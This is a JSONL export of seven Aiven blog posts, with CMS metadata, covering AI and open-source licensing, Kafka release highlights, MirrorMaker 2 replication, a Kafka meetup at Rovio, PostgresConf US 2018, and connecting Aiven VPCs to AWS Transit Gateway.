{"__i18n_lang":"en","_createdAt":"2024-09-17T09:06:19Z","_id":"570e4d76-e2c9-43c4-92bb-043f7d4b29dc","_rev":"dRINhfum12oUHTYuhygAMf","_type":"post","_updatedAt":"2024-09-18T08:41:56Z","authors":[{"_key":"d46936a3f4e8","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Addressing how AI can be best adopted without hampering creativity or overstepping the line when it comes to copyright or licensing laws is one of the major challenges facing software developers. For instance, the Intellectual Property Office (IPO), the Government body responsible for overseeing intellectual property rights in the UK, confirmed recently that it has been unable to facilitate an agreement for a voluntary code of practice which would govern the use of copyright works by AI developers. \n\n## The perfect match of AI and OS\nToday, most AIs are being trained on open source (OSS) projects because they can be accessed without the restrictions associated with proprietary software. This is something of a perfect match. It provides AI with an ideal training environment with access to a huge amount of standard code bases which are running in infrastructures around the world. At the same time, OS software is exposed to the acceleration and improvement that running with AI can provide.\n\nDevelopers, too, are massively benefiting from AI because they can ask questions, get answers and, whether it’s right or wrong, use AI as a basis to create something to work with. This major productivity gain is helping to refine coding at a rapid rate. Developers are also using it to solve mundane tasks quickly, get inspiration or source alternative examples on something they thought was a perfect solution.\n\n## Total certainty and transparency\nHowever, it’s not all upside. The integration of AI into OSS has complicated licensing. General Public Licenses (GPL) are a series of widely used free software licenses (there are others too), or copyleft, that guarantee end users four freedoms; to run, study, share, and modify the software. Under these licenses, any modification of software needs to be released within the same software license. If a code is licensed under GPL, any modification to it also needs to be GPL licensed.\n\nThere lies the issue. Unless there is total transparency in how the software has been trained, it is impossible to be certain of the appropriate licensing requirements or, indeed, how to even license it in the first place. This makes traceability paramount if copyright infringement and other legal complications are to be avoided. Additionally, there is the ethical question - if a developer has taken a piece of code and modified it, is it still the same code? We’ve covered that in more detail in a follow-up blog to this one.\n\nSo the pressing issue is this: What practical steps can developers take to safeguard themselves against the code they produce and what role can the rest of the software community - OSS platforms, regulators, enterprises and AI companies - play in helping them do that? \n\n## Here is where foundations come to offer guidance\n\nIntegrity and confidence in traceability matters more when it comes to OSS because everything is out in the open. A mistake or oversight in proprietary software might happen but, because it is a closed system, the chances of exposure are practically zero. Developers working in OSS are operating in full view of a community of millions. They need certainty where a source code from a third party originates from - is it a human, or is it AI?\n\nThere are foundations in place. Apache Software Foundation has a directive that says developers shouldn't take source code done by AI. They can be assisted by AI but the code they contribute is the responsibility of the developer. If it turns out that there is a problem then it’s the developers issue to resolve. We have a similar protocol at Aiven. Our guidelines state that our developers can make use only of the pre-approved constrained Generative AI tools, but in any case, developers are responsible for the outputs and need to be scrutinized and analyzed, and not simply taken as they are. This way we can ensure we are complying with the highest standards.\n\nBeyond this, there are ways organizations using OSS can also play a role, taking steps to safeguard their own risks in the process. This includes the establishment of an internal AI Tactical Discovery team - a team set-up specifically to focus on the challenges and opportunities created by AI. We wrote more about this in a recent blog but, in this case it would involve a project specifically designed to critique OSS code bases, using tools like Software Composition Analysis to analyze the AI-generated codebase, comparing it against known open source repositories and vulnerability databases.\n\n## Creating a root of trust in AI\nWhile it is happening, creating new licensing and laws around the role of AI in software development will take time. Not least because consensus is required when it comes to the specifics of its role and the terminology used to describe it. This is made more challenging because the speed of AI development and how it is being applied in code bases moves at a much quicker pace than those trying to put parameters in place to control it. \n\nWhen it comes to assessing if AI has provided copied OSS code as part of its output, factors such as proper attribution, license compatibility, and ensuring the availability of the corresponding open source code and modifications are absolutely necessary. It would also help if AI companies start adding traceability to their source code. This will create a root of trust that has the potential to unlock significant benefits in software development.  ","categories":[{"_key":"fa2fc5af7140","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"5e853bc5e5ab","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"d7aeb34c0b82","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628-jpg","_type":"reference"}},"publishedAt":"2024-09-18T08:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Explore how AI is transforming software development, the challenges of licensing and the ethical considerations for open source projects in the digital age.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628-jpg","_type":"reference"}},"metaTitle":"The AI Advantage: How AI is Reshaping Software Development"},"slug":{"_type":"slug","current":"/blog/the-ai-advantage-how-ai-is-reshaping-software-development"},"subtitle":"Widespread adoption of Generative AI has infiltrated nearly every business sector. While tools like transcription and content creation are readily accessible to all, AI's transformative potential extends far deeper. Its influence on coding and software development raises profound questions about the future of this industry.","title":"The AI Advantage: How AI is Reshaping Software Development"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3b04wLBEIzX0SjrgzhdANL","_rev":"cEPH2uRN58AU2lp9QO7hEn","_type":"post","_updatedAt":"2022-09-08T16:17:36Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Our latest Kafka meetup on January 30th was hosted at Rovio Entertainment’s headquarters in Espoo Finland.\n\nRovio's own Henri Heiskanen, Director of Data Engineering, presented Rovio’s use case for Apache Kafka to handle their massive data requirements.\n\nOur CTO, Heikki Nousiainen followed with a presentation on benchmarking raw Kafka performance across four different clouds to demonstrate its capabilities.\n\nWe've summarized Rovio’s presentation for you. There's also a copy of the slide deck at the end of this post.\n## A tale of two Kafkas\nHeiskanen kicked the meetup off with his presentation, _Story of Two Kafkas_, a reference to their ongoing transition to a newer pipeline. A **user of Kafka since version 0.7**, Rovio's daily load is impressive:\n\n* 3 billion events,\n* 1 Terabyte of data\n\nWithout getting too deep into their architecture, suffice it to say that their Kafka node count is high. In spite of its size, when asked how big a team should be to manage Kafka, he responded,\n\n\"One really good Kafka guy on development side who is available 24 hours.\"\n\nHis wink and a nod response provides insight into the difference between setting up Kafka and running it in a production cluster, as one of his slides summarized;\n\n_Setting up Kafka is simple, but for running a production cluster, you need monitoring, orchestration, and capable people._\n\nThat said, Rovio’s choice to go with Kafka is obvious:\n\nKafka’s the best tool available and doesn’t pose vendor lock-in, **unlike AWS’s Kinesis and Google’s PubSub**.\n\nAdditionally, there are a lot of good Kafka tools and connectivity libraries available, as he quipped, “If you feel you need to implement something yourself, you’ve not googled enough.”\n## Apache Kafka cloud performance\nAiven’s Nousiainen closed the event, presenting Kafka’s raw cloud performance over AWS, GCP, Microsoft Azure, and UpCloud in three Aiven plans:\n\n* __Business-4__\n3-node cluster | 1 CPU | 4GB memory\n* __Business-8__\n3-node cluster | 2 CPU | 8GB memory\n* __Premium-8-5x__\n5-node cluster | 2 CPU | 8GB memory\n\nWe also used client settings typical of Aiven customers and over network access, running the benchmark anywhere from one to two hours.\n\nWhile the specifics are in the slide deck, an interesting result was UpCloud’s superior performance over the other cloud platforms, regardless of Aiven plan.\n\nWhen asked about it, he speculated that it was UpCloud's network bandwidth and fast disk IO that were the causal differences in this benchmark.\n\nUltimately, the idea of the test was just to demonstrate that, **even with modest specs**, Kafka can still deliver impressive throughput.\n\nWe will be following up with additional benchmark’s that mirror real world usage more closely. In the meantime, you can review Heikki's presentation slides below!\n\n___\n\n[![kafka cloud performance slide number one](//cdn.sanity.io/images/sczeoy4w/production/d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc-960x540.jpg)](https://github.com/aiven/presentations/blob/master/Kafka_Meetup_Helsinki/Kafka%20Cloud%20Performance%20-%20Helsinki%20Kafka%20Meetup%20Jan%202018%20-%20Heikki%20Nousiainen.pdf)\n\n## Next meetup\nWe’re planning on hosting the new Apache Kafka meetup during March.\n\nWe will begin livestreaming our Kafka meetups to give even more users access to the information that we cover in them.\n\nTo stay up-to-date, [follow us on Facebook](https://facebook.com/aivencloud) and look out for the next Kafka meetup announcement!\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405-png","_type":"reference"}},"publishedAt":"2018-02-16T00:00:00.000Z","seo":{"metaDescription":"For our third Kafka meetup, we decided to stop by Rovio HQ and talk shop with their Director of Data Engineering. Find out the details here.","metaImage":{"alt":"","asset":{"_ref":"image-774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405-png","_type":"reference"}},"metaTitle":"Rovio talks Kafka with Aiven"},"slug":{"_type":"slug","current":"/blog/rovio-talks-kafka-with-aiven"},"subtitle":"For our third Kafka meetup, we decided to stop by Rovio HQ and talk shop with their Director of Data Engineering. Find out the details here.","title":"Rovio talks Kafka with Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"Ruxd1kfkwKcJHUP3GexKF","_rev":"msvVOwV0ly404Y5JqDPXrn","_type":"post","_updatedAt":"2024-08-09T10:28:10Z","authors":[],"body":"The new Apache Kafka version 2.8, announced on April 19, 2021, comes with a number of enhancements across the board, including a preview of being able to run Kafka without Zookeeper.\n\n## Apache Kafka without ZooKeeper\n__KIP-500: Replace ZooKeeper with a Self-Managed Metadata Quorum__\nhttps://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum\n\nExciting news, removing the ZooKeeper dependency is moving forward, and now it is possible to run Kafka without ZooKeeper. The new consensus based on the RAFT protocol, KRaft, is now available. Note however, that the feature is not production ready yet and should only be used for testing. But it is already showing promising performance improvements.\n## Exactly Once delivery\n__KIP-679: Producer will enable the strongest delivery guarantee by default__\nhttps://cwiki.apache.org/confluence/display/KAFKA/KIP-679%3A+Producer+will+enable+the+strongest+delivery+guarantee+by+default\n\nStarting with the version 2.8, the Kafka producers will now have “exactly once” delivery semantics enabled by default. Transaction producers have been available since version 0.11, and provide much better semantics for application development with a very small performance hit.\n\n## Performance improvements\n__KIP-612: Ability to Limit Connection Creation Rate on Brokers__\nhttps://cwiki.apache.org/confluence/display/KAFKA/KIP-612%3A+Ability+to+Limit+Connection+Creation+Rate+on+Brokers\n\nVersion 2.8 extends the throttling capabilities introduced in 2.7. Now it is possible to throttle the number of connections created per IP, which allows more fine grained control to prevent performance degradation when up-scaling or deploying an application with a high number of nodes.\n\n__Improved leader election performance for clusters with thousands of partitions__\nhttps://issues.apache.org/jira/browse/KAFKA-10794\nA small bug fix with a large effect. This one liner halved the time to process\nsome leader election messages.\n\nThe list above includes only examples of the most important enhancements in this release. To see the full list please visit: https://archive.apache.org/dist/kafka/2.8.0/RELEASE_NOTES.html\n## How to get started with Aiven for Apache Kafka 2.8\nYou can either launch a brand new cluster in [the Aiven console](https://console.aiven.io/login) or conduct a no-downtime upgrade to the latest version.\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Aiven supports Apache Kafka® 2.6](https://aiven.io/blog/aiven-supports-apache-kafka-2-6)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-27T00:00:00.000Z","seo":{"metaDescription":"Aiven now supports Apache Kafka version 2.8, announced on April 19, 2021. Read on to find out what the new version means for you!","metaImage":{"alt":"","asset":{"_ref":"image-400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 2.8"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-2-8"},"subtitle":"Aiven now supports Apache Kafka version 2.8, announced on April 19, 2021. Read on to find out what the new version means for you!","title":"Aiven supports Apache Kafka® 2.8"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5ldaB9gWRk2DWBu2R3QzcR","_rev":"ZgPiUE9lJ1tcRKuFnQfRyH","_type":"post","_updatedAt":"2024-07-09T14:13:31Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"[MirrorMaker](https://aiven.io/kafka) 2.0 is a robust data replication utility for [Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka). It acts as a consumer and producer for multiple Kafka clusters, so that users can easily and reliably copy data from one cluster to another. This increases the resilience of Kafka-centric architectures. \n\n## Reasons to replicate your Apache Kafka cluster data\nApache Kafka only stores data temporarily and [is not really a database](https://aiven.io/blog/apache-kafka-and-the-great-database-debate \"Apache Kafka and the Great Database Debate | Aiven blog\") in that sense. Why, then, should you worry about replicating that fleeting data? \n\nBecause data replication between your Apache Kafka clusters can add flexibility, performance and reliability to your core data infrastructure. Particularly large companies with huge data volumes can benefit from this. \n### 1. Disaster recovery\nThe best understood and most important scenario where you would want to replicate data between Apache Kafka clusters is [disaster recovery](https://aiven.io/blog/data-and-disaster-recovery \"Data and disaster recovery | Aiven blog\"). Many businesses rely on Apache Kafka as a cornerstone of their data infrastructure. Apache Kafka is mature, reliable and offered by trusted providers, but disasters can still happen, and data can still become temporarily unavailable--or lost altogether.\n\nThe best way to mitigate the risks  is to have a copy of your data in another Kafka cluster in a different data center. That way, you can switch clients to it relatively seamlessly, moving to an alternative deployment on the fly with minor or no service interruptions.\n\nMirrorMaker2 preserves consumer offset mappings and offers tooling for nearly transparent consumer migration between clusters. This is a key to successful disaster recovery.\n### 2. Going to the cloud\nMore and more companies are migrating their Apache Kafka clusters from on-prem installations to the cloud. Some are at the stage where they're moving from one cloud region or provider to another. \n\nTools that support the cloud migration of data services give you more control over your data. Replicating data between Kafka clusters is an excellent choice for low-downtime Kafka cloud migration.\n### 3. Getting closer\nFor many global businesses, it's not uncommon to produce and consume data in geographically distributed locations. Replication lets you bring the data where the users are. This cuts down on  latency and network costs and offers optimal throughput.\n### 4. Isolating data\nSome data sets may need to be isolated to a separate Kafka cluster for legal, compliance, and performance reasons. \n\nFor instance, in the case of legal considerations, you can limit the retention period of a topic you’re writing to in one cluster and mirror it to another with longer retention in a region that’s compliant to read from. \n\nTo boost performance, you can use one cluster to fleetingly store incoming data, then aggregate it and mirror only the aggregated data to another cluster. This keeps your incoming pipeline clean but still retains the important bits, and as a bonus it may save money in terms of storage space, too.\n### 5. Data analytics\nAggregation is also a factor in data pipelines, which might require the consolidation of data from distributed Kafka clusters into a single one. That aggregate cluster then broadcasts that data to other clusters and/or data systems for analysis and visualisations. \n## Apache Kafka MirrorMaker makes life easier\nWhen replicating Apache Kafka clusters using Kafka Connect, MirrorMaker2 synchronizes topic configuration (including partitioning) and ACLs from source to target clusters. No more need for external tooling to make this happen.\n\nIn situations where records are partitioned semantically, it’s good to know that the partitions are preserved during replication; rebuilding them would be a pain.\n\nComplex replication topologies, like active-active and chain replication, are easy to set up. A single MM2 cluster can run multiple replication flows, and it has a mechanism for preventing replication cycles.\n\n## Wrapping up\nApache Kafka MirrorMaker2 makes for a robust replication architecture that you can use for multiple purposes. And the best thing is, you don’t have to set anything up by yourself: you can get it as an add-on to [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"), and let Aiven do the work.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [The future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d68171a776fa13747091973cc018603eb3f96ac4-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-06T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Replicating data in your Apache Kafka®? Good idea! Read the top 5 reasons why you should be doing it with MirrorMaker 2.","metaImage":{"alt":"","asset":{"_ref":"image-d68171a776fa13747091973cc018603eb3f96ac4-1567x844-png","_type":"reference"}},"metaTitle":"Why MirrorMaker 2.0 is Essential for Data Replication"},"slug":{"_type":"slug","current":"/blog/5-reasons-why-you-should-be-using-mirrormaker-2"},"subtitle":"Replicating data in your Apache Kafka®? Good idea! Read the top 5 reasons why you should be doing it with MirrorMaker 2.","title":"5 reasons why you should be using MirrorMaker 2.0 for data replication"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6wNuBa5mVCXWjYsdJwN4D8","_rev":"YI3rks3mbRtnzMpdmuuDbY","_type":"post","_updatedAt":"2022-11-15T09:31:08Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"Part of our team spent this week in New York and Jersey City attending\nevents and meeting our customers and partners in the area.  The main event\nfor our visit was the PostgresConf US 2018 conference in Jersey City just\nacross te Hudson river from Manhattan.\n\n[![Oskari Saarenmaa talking about data pipelines with PostgreSQL and Apache Kafka](//cdn.sanity.io/images/sczeoy4w/production/05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg)](//cdn.sanity.io/images/sczeoy4w/production/05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg)\n\nThe conference gave us a good opportunity to network and catch up with our\ncustmers and partners as well as new contacts.  We also gave two talks at\nthe event which centered around connecting PostgreSQL with other open source\ntools, namely Apache Kafka.  The talks we gave were:\n\n* [Data pipelines with PostgreSQL and Kafka](https://postgresconf.org/conferences/2018/program/proposals/building-data-pipelines-with-postgresql-and-kafka) - Oskari Saarenmaa\n* [Change data capture for a brave new world](https://postgresconf.org/conferences/2018/program/proposals/change-data-capture-for-a-brave-new-world) - Hannu Valtonen\n\n[![Hannu Valtonen talking about change data capture for a brave new world](//cdn.sanity.io/images/sczeoy4w/production/2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg)](//cdn.sanity.io/images/sczeoy4w/production/2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg)\n\nWe had a great audience for both talks and lively discussion following them.\nThe key points from our talks include:\n\n* Apache Kafka as the central piece of your data pipeline creates a clean architecture and helps avoid the giant, fragile mess of point-to-point connections\n* PostgreSQL is a versatile RDBMS suitable for many different workloads with a huge ecosystem of robust tools and extensions\n* SQL is more relevant than ever before, it has outlasted its competition and is the universal language for data access, start using it in more systems\n\nSlides for both talks are now available on GitHub\n[here](https://github.com/aiven/presentations/tree/master/PostgresConf%20US%202018),\nplease see them for more information on combining PostgreSQL and Kafka.\n\nOver the coming months we'll be talking about these topics in more events\naround the world, including Kafka Summit in London next week and the OSS\nSummit in Japan in June.  Other upcoming events and updates will be posted\nhere, so be sure to follow us on\n[Twitter](https://twitter.com/aiven_io) and join our\n[blog](https://aiven.io/blog/feed.xml) and\n[changelog](https://aiven.io/changelog/feed.xml) RSS\nfeeds!\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2018-04-20T00:00:00.000Z","seo":{"metaDescription":"We visited New York and New Jersey this week to meet partners and speak in PostgresConf US in Jersey City.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven talks in PostgresConf US 2018"},"slug":{"_type":"slug","current":"/blog/aiven-talks-in-postgresconf-us-2018"},"subtitle":"We visited New York and New Jersey this week to meet partners and speak in PostgresConf US in Jersey City.","title":"Aiven talks in PostgresConf US 2018"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7pPPWL2R9JeqibNH0wFF2I","_rev":"CK1sLU2mnwa3vmbYWEcKX5","_type":"post","_updatedAt":"2022-09-08T16:22:05Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"Running your application infrastructure in AWS and using VPCs? Then you’ll understand how quickly the complexity can build as you add and manage multiple ones. What if you want to connect VPCs in different clouds or even an on-prem environment? You can’t out-of-the-box.\n\nLuckily, there is AWS Transit Gateway (TGW). Even better, __you can now connect your Aiven project VPCs to it in the Aiven Console and CLI.__ We’ll cover how to set it up using the Aiven CLI here; but before we do, let’s dive a little deeper into the specific problems TGW can solve.\n\n## The problems AWS Transit Gateway solves\n\n### Reducing private network complexity\n\nAs your private networking needs evolve, so will their complexity. For example, let’s say you want to peer three VPCs with one another. At this stage, you only need to configure and maintain 3 connections. But the complexity quickly exponentiates with each additional VPC.\n\nWith AWS TGW, you connect your VPCs through what effectively acts as a network router. Your private network topology will resemble a streamlined hub and spoke architecture instead of a disordered, spaghetti-like mesh network that becomes increasingly difficult to manage.  \n\n### Peering VPCs across hosts\n\nWith standard VPC networking, you could peer among your VPCs inter-regionally. However, what if you want or are already pursuing a multi-cloud strategy and need to peer networks across cloud providers? What about a hybrid, on-premise / off-premise setup? Simply put: can’t do it.\n\nWhether you want to peer networks hosted in different cloud regions outside of AWS or an on-premise setup, you can do that with the Transit Gateway. For instance, you simply mediate the connection between your on-prem and AWS hosted VPCs via TGW and your VPN.\n\n## How to attach an Aiven VPC to TGW with CLI \n\nAs noted above, you can attach an Aiven VPC to Transit Gateway via the Aiven Console and CLI. Soon, you'll also be able to perform the task using our [Terraform provider](https://github.com/aiven/terraform-provider-aiven). Let's go ahead and run through the attachment steps using the Aiven CLI.\n\nBefore you attach anything to AWS Transit Gateway, you must first [set up a VPC in Aiven](https://help.aiven.io/en/articles/778836-using-vpc-peering). After this, install the [Aiven CLI](https://github.com/aiven/aiven-client) and follow the simple 6-step tutorial below.\n\n1. Locate your AWS account and Transit Gateway IDs\n2. Share the Transit Gateway with the Aiven AWS account\n3. Find your Project VPC ID\n4. Determine the IP ranges to route from the Project VPC to the Transit Gateway\n5. Create Aiven peering connection request to a TGW attachment\n6. Accept Transit Gateway VPC attachment\n\n## Wrapping up\n\nBy connecting your Aiven project VPCs with your others through AWS TGW, you’ll simplify and streamline the management and control of your private network architecture. Together with our [AWS CloudWatch integration](/blog/aiven-now-integrates-with-aws-cloudwatch-and-google-cloud-logging), you can more easily incorporate Aiven into your AWS workflows.\n\nTo get pricing information, check out our pricing page [here](/pricing) — just remember that pricing varies by region, so select AWS and the region you want it in. In the meantime, follow our [blog](https://aiven.io/blog/feed.xml \"Link to blog rss feed\") and [changelog](https://aiven.io/changelog/feed.xml \"Link to changelog rss feed\") RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-07-22T00:00:00.000Z","seo":{"metaDescription":"Aiven customers can now connect their VPCs to AWS Transit Gateway. Find out what kinds of problem it solves and how to set it up in this post.","metaImage":{"alt":"","asset":{"_ref":"image-0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646-jpg","_type":"reference"}},"metaTitle":"AWS Transit Gateway now available for Aiven"},"slug":{"_type":"slug","current":"/blog/aws-transit-gateway-now-available-for-aiven"},"subtitle":"Aiven customers can now connect their VPCs to AWS Transit Gateway. Find out what kinds of problem it solves and how to set it up in this post.","title":"AWS Transit Gateway now available for Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"71D5OOCFYVMNYmzCRE10C9","_rev":"cEPH2uRN58AU2lp9QO80uv","_type":"post","_updatedAt":"2022-09-08T16:23:54Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven is keeping up with the times and releases support for [Apache Kafka version 2.7](https://blogs.apache.org/kafka/entry/what-s-new-in-apache4 \"What's new in Apache Kafka 2.7.0\"), announced on December 21, 2020. The new version comes with a number of enhancements across the board, including security updates and performance improvements. Read on to find out what the new version means for you.\n## Apache Kafka 2.7 highlights\n### PEM support\n__[KIP-651](https://cwiki.apache.org/confluence/display/KAFKA/KIP-651+-+Support+PEM+format+for+SSL+certificates+and+private+key \"Link to improvement proposal\"): Support PEM format for private keys and SSL certificates__\n\nPEM format is now supported for storing and distributing cryptographic keys. New configuration options ssl.keystore.key, ssl.keystore.certificate.chain and ssl.truststore.certificates were added to support the new format. \n### Performance optimisations\n__[KIP-612](https://cwiki.apache.org/confluence/display/KAFKA/KIP-612%3A+Ability+to+Limit+Connection+Creation+Rate+on+Brokers \"Link to improvement proposal\"), part 1: Ability to limit connection creation rate on brokers__\n\nIf too many new connections are created simultaneously, it can significantly reduce broker performance. To solve this issue, version 2.7.0 adds a new configuration option max.connection.creation.rate limiting the acceptable amount of new connections for a broker.\n\nVersion 2.7.0 provides a partial solution to the problem - more improvements are coming in future releases.\n\n__[KIP-599](https://cwiki.apache.org/confluence/display/KAFKA/KIP-599%3A+Throttle+Create+Topic%2C+Create+Partition+and+Delete+Topic+Operations \"Link to improvement proposal\"): Throttle create topic, create partition, and delete topic operations__\n\nCreating or deleting a large number of concurrent topics may hurt controller performance. Therefore the number of requests for these resource demanding operations is limited with a new quota in this version. Requests exceeding this limit are rejected with the error THROTTLING_QUOTA_EXCEED.\n\n__[KIP-450](https://cwiki.apache.org/confluence/display/KAFKA/KIP-450%3A+Sliding+Window+Aggregations+in+the+DSL \"Link to improvement proposal\"): Kafka Streams - Sliding window aggregations in the DSL__\n\nSliding window aggregation allows Kafka Streams applications to capture the most recent updates in a stream at a given point of time. It provides a more efficient way to do these types of aggregations than currently used hopping window aggregation.\n### Getting rid of ZooKeeper dependencies\n__[KIP-497](https://cwiki.apache.org/confluence/display/KAFKA/KIP-497%3A+Add+inter-broker+API+to+alter+ISR \"Link to improvement proposal\"): Add inter-broker API to alter ISR__\n\nWith a new AlterIsr API, only controllers can now update the Leader and ISR state. Leaders can no longer mutate the state directly. This solves some problems with delayed and inconsistent ISR state and - most importantly - helps to eventually replace ZooKeeper with a self-managed metadata quorum.\n\n__[KIP-554](https://cwiki.apache.org/confluence/display/KAFKA/KIP-554%3A+Add+Broker-side+SCRAM+Config+API \"Link to improvement proposal\"): Add broker-side SCRAM configuration API__\n\nNew broker-based API to change SCRAM settings for users. It is no longer necessary to use ZooKeeper for making these changes, hence this improvement also plays part in a bigger effort to remove ZooKeeper.\n\nThe list above is only the tip of the iceberg. For this release, there are over 50 smaller improvements and 90+ bug fixes. Please check the details [here](https://archive.apache.org/dist/kafka/2.7.0/RELEASE_NOTES.html \"Kafka 2.7 release notes\").\n## How to get started with Aiven for Apache Kafka 2.7\nYou can either launch a brand new cluster in the [Aiven console](https://console.aiven.io/ \"Console main page\") or [conduct a no-downtime upgrade to the latest version](https://help.aiven.io/en/articles/1529490-kafka-cluster-upgrades \"Help article about upgrading Kafka clusters\"). \n## Wrapping up\nIf you are not already using Aiven’s managed Apache Kafka, maybe you should be! Get started at our [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") product page.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844-png","_type":"reference"}},"publishedAt":"2021-01-21T00:00:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka moves to version 2.7. Read to find out what the key improvements in the new version are and how you can get in on the action.","metaImage":{"alt":"","asset":{"_ref":"image-6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 2.7"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-2-7"},"subtitle":"Aiven for Apache Kafka moves to version 2.7. Read to find out what the key improvements in the new version are and how you can get in on the action.","title":"Aiven supports Apache Kafka® 2.7"}
